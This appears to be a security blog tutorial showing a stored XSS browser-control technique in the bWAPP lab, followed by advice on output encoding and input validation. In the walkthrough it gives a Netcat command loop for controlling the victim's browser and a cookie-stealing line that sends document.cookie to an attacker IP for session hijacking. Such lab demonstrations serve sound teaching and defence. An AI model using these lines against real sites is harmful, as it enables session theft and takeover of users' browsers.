As a cybersecurity engineer and an unapologetically enthusiastic “web guy,” I have both a personal and professional interest in finding new exploitation methods. Recently, I found an interesting and creative way to control a browser by exploiting a cross-site scripting (XSS) vulnerability. I learn by doing, so I executed the concept to see it work in practice. Without spoiling too much, I was very pleased with the results! This attack uses nothing more than Netcat and some clever XSS injection code. For those unfamiliar with Netcat, it’s a networking utility that reads and writes data across network connections.
We’ll walk through the details of this XSS attack to understand how it works and what development can do to mitigate Cross-site Scripting in general. Before we start, let’s briefly go over the concept of Cross-site Scripting.
What Is Cross-site Scripting?
Cross-site scripting (XSS) vulnerabilities threaten web application security by allowing attackers to run code in users' browsers. Attackers exploiting XSS attacks can easily gain control of the victims’ browsers to access data, compromise their interaction with the web application, and perform malicious actions. There are a few different types of these attacks but “reflected” and “stored” cross-site scripting attacks are the most common.
Reflected XSS occurs when the attacker-supplied input is part of the request sent to the webserver. The malicious code immediately reflects, so the HTTP response includes the malicious data from the HTTP request. Attackers use phishing emails, malicious links, and other covert delivery techniques to trick victims into making a request to the server. The reflected XSS attack then executes in the victim's browser.
Stored XSS occurs when an attacker injects attack code (aka “the payload") as user input. They take advantage of message forums, comment fields, and visitor logs that store information in the target server. When the victim opens the web page in a browser, it delivers the payload to the victim's browser as if it were any other legitimate data. The victim ends up executing the malicious script as soon as they view it in their browser (unknowingly, in some cases).
Both types of Cross-site scripting attacks take advantage of improper server-side validation and/or output encoding of user-supplied data. The developer's mantra should be “never trust client-side data!”
Exploiting Stored Cross-site Scripting (XXS)
Now, let’s use our clever XSS attack code to exploit a stored Cross-site scripting vector in an insecure blog page. Let’s walk through the setup of exploiting an insecure blog with Stored XSS Vulnerability:
Figure 1 - Insecure blog site with Stored XSS vulnerability
The interactive XSS backdoor code (credit to brutelogic.com.br) has two parts:
Part 1 – XSS payload
XSS payload (injected XSS code runs against victim in their browser). The code below is injected into the blog posting and stored. It will execute when blog page loads from server-side:
Technical Explanation of XSS Payload Code:
Using an SVG tag and an onload event, the XSS payload dynamically creates and appends a new script element in the exploited page. A source is assigned to the script element using HOST:PORT (HOST as domain or IP) which is the attacker’s machine used to control the browser. The HOST:PORT source points to the Netcat Shell Controller running on the attacker's machine. A new script element is created by setInterval() every 0 milliseconds to keep the connection alive.
Part 2 – Netcat Shell Controller
The attacker’s machine running Netcat Shell Controller code (runs in a terminal on attacker machine) allows the attacker to interact with the browser under control. It is in the terminal window of the Netcat Shell Controller where the attacker enters in attack code (at the pseudo prompt j$) that gets picked by the XSS payload running in the victims browser. Below is the Netcat Shell Controller code that utilizes Netcat network utility (nc):
while :; do printf “j$ “; read c; echo $c | nc -lp PORT >/dev/null; done
The Netcat Shell Controller runs in an endless loop, reading input from a pseudo prompt j$, piping the input to the Netcat Listener, then redirecting output (browser requests) to nowhere (>/dev/null).
Once the XSS payload executes, the victim's browser sends a request to the attacker’s HOST:PORT, looking for a source of the script element that was recently created. The command piped to Netcat becomes the response to this request (code to be executed), with a new script element created by setInterval() every 0 milliseconds. This keeps the Netcat loop always ready to send a new source, resulting in an interactive stateless connection to control the client remotely.
Let's See It Work:
I set up two virtual machines (VM) on my host. A Kali VM (Attacker) and BWAPP VM (has a stored XSS vector on a blog page). I’ll attack the victim’s browser through the BWAPP blog page. The Kali VM will run the victim's browser, attackers Netcat Shell Controller, and attacker's second Netcat Listener (for attacker cookie catcher).
Note: If you copy and paste the XXS payload or Netcat Shell Controller code from here, check the double quotes as they might not work in their current format.
An XXS Attack In Action
In Kali, bring up BWAPP XSS (Stored) blog page (security settings low)
In Kali, open terminal and run Netcat shell controller code > this leaves you (attacker) at the pseudo prompt j$
Copy the XSS payload code into the blog post comment field > Check “Add” and click Submit
Submitted XSS is sent to server-side, processed (stored), and returned to the victims browser as shown below. Notice that the injected XSS attack was sent to the victims browser without any input validation or output encoding.
The lack of input validation or output encoding allows the injected XSS attack to become a part of the HTML to be executed. Notice the injected XSS attack does not appear in the blog post entry because it has become part of the page’s HTML. At this point, the browser’s scripting engine interprets the injected attack code and executes it.
Let's read the Session Cookie. Pass alert(document.cookie) in the attacker’s Netcat shell controller. An alert fires in the victim's browser, reading the PHPSESSIONID cookie. Dismiss the alert.
Better yet, steal the session cookie and send it to the attacker. In Kali, open another terminal as the attacker and start up a second Netcat listener (I picked port 5679).
In the attacker’s Netcat Shell controller, send this cookie catcher code (use your attack machines IP and PORT): document.location='http://192.168.63.162:5679/c='+document.cookie
Cookie catcher code is received and executes. The second Netcat listener catches the PHPSESSID. The attacker has now stolen the victim’s session token and can use it to hijack a victim's session. It’s trivial to rebuild the PHPSESSID in a web browser, request a page within the victim's site, and enter the site as the hijacked authenticated victim.
If you were following along alright, try experimenting with other commands. For example:
- platform (returns platform type – ex: win32)
- product (browser type – ex: Gecko)
In the BWAPP Blog page, delete the injected blog entry (uncheck Add – check Delete – Submit). Change the security level to “High.” Paste the XSS payload code into the blog post comment field. Check “Add” and submit. Redo Step 4 of the demo. Notice that the alert never fires. The high security setting mitigated the XSS payload by encoding the parentheses < > before sending it to the browser. Once encoded, the attack payload parentheses are no longer interpreted as HTML meta-characters by the browser’s scripting engine. The attack payload renders as page text in the ”Entry” column.
Now that you have seen a demonstration of a stored cross-site scripting attack, some visual impact, and a mitigation technique, let's look at all of the mitigations techniques for preventing cross-site scripting (XSS attacks). A web application development team would review these mitigations techniques and implement them accordingly.
Cross-site Scripting Prevention (Stored and Reflected)
Implement Output Encoding
Output encoding is the primary defense against cross-site scripting (xxs) vulnerabilities. It converts untrusted data into a secure form so the user can see the input without executing the code in the browser. You can protect your web application from various forms of cross-site scripting using HTML entity encoding of special characters before sending untrusted data into a browser. Typically, output encoding is done on the server-side.
Avoid Inserting Untrusted Data Except in Allowed Locations
Protect your web application from cross-site scripting attacks by denying all untrusted data in your HTML document, except that which falls under the following conditions:
- HTML Entity: If you want to insert untrusted data into the HTML body, for example, inside normal tags such as [< p >, < td >, < b >, < div >], implement some rules. While many web frameworks have an HTML escaping method for these characters, it's not sufficient for other HTML contexts. Consider using HTML entity encoding to escape these characters and prevent switching into any execution context, like event handlers, style, or script.
- HTML Attribute: If you want to insert untrusted data into typical attribute values such as value, name, and width, escape all characters with less than 256 ASCII value with the "&3xHH;".
- CSS:Attackers can easily leverage CSS to launch XSS attacks on a web application. Therefore, it's essential to have the necessary security measures in place. Only use untrusted data in a property value and avoid storing it in other places in the style data. Steer clear of putting untrusted data into complex properties, such as behavior or URLs.
- URL: When putting untrusted data into the HTTP GET parameter value, consider escaping all characters with ASCII values less than 256 using the "%HH" format. Ensure all attributes are quoted properly. Unquoted attributes can be easily broken with various characters such as *, [space], /, %, etc.
Implement Input Validation
The concept of input validation is to regard any untrusted data as malicious. Untrusted data is simply any data that comes from outside the trusted network or system. This validation process ensures that a web application renders only trusted and correct data and prevents malicious data from entering the system to harm the site, users, and database.
Input validation is the recommended best practice to prevent XSS in forms, as it forbids a user from adding special characters into the fields. One implementation method utilizes whitelisting, which allows only known characters with additional checks for acceptable type and length. Regular expressions are a good choice for input validation because they can validate characters, data type, and length.
It is nice to have client-side input validation to control well-behaved users and prevent accidents, but it will not stop a determined attacker. Development should implement input validation on the server-side as well to mitigate the risk of an attacker bypassing validation on the client-side (browser). Although input validation provides base protection, supplementing with server-side output encoding makes for a more robust defense.
While these mitigation suggestions provide effective ways to combat the many types of XSS attacks, remember that mitigation methods cannot guarantee your web application's complete protection.
Preventing cross-site scripting vulnerabilities requires that you perform SECURE code reviews, automated static testing during development, and dynamic testing once the web application is deployed. Furthermore, using secure coding practices will help prevent security vulnerabilities such as cross-site scripting.
I enjoyed seeing this XSS attack work for myself and hope you give it a try too! This process is an impactful demonstration of the risks associated with a stored XXS vector. It shows what creative, out-of-the-box thinking can accomplish, and I am filing this one away in my toolbox. The possibilities for commanding a controlled browser are only limited by your innovation.